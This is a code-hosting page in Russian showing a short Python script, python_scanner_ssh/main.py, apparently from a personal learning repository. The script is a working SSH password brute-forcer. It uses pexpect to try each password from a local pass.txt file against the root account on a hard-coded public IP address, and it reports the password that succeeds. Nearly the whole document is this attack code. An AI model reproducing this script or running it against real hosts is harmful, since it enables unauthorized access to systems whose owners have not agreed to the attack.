/
sxfour
/
python_all_projects
Обзор
Документация
Войти
/
sxfour
/
python_all_projects
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
main
python_scanner_ssh/main.py
38 строк
1001 B
Egor Levashov
Add files via upload
27 апр 2024, 09:17
Не верифицирован
27 апр 2024, 09:17
9f87de8
Код
Авторство
О чём код?
import pexpect PROMPT = ['# ', '\$ ', '>>>> ', '> '] def connect(user, host, password): ssh_newkey = 'Are you sure want to continue connecting' connStr = 'ssh ' + user + '@' + host shell = pexpect.spawn(connStr) ret = shell.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword: ']) if ret == 0: print('[-] Error connecting') return if ret == 1: shell.sendline('yes') ret = shell.expect([pexpect.TIMEOUT, '[P|p]assword: ']) if ret == 0: print('[-] Error connecting') return shell.sendline(password) shell.expect(PROMPT, timeout=5) return shell def main(): host = '195.133.1.177' user = 'root' file = open('pass.txt', 'r') for password in file.readlines(): password = password.strip('\n') try: connect(user, host, password) print('[+] Password found: ' + password) except: print('[-] Wrong password: ' + password) main()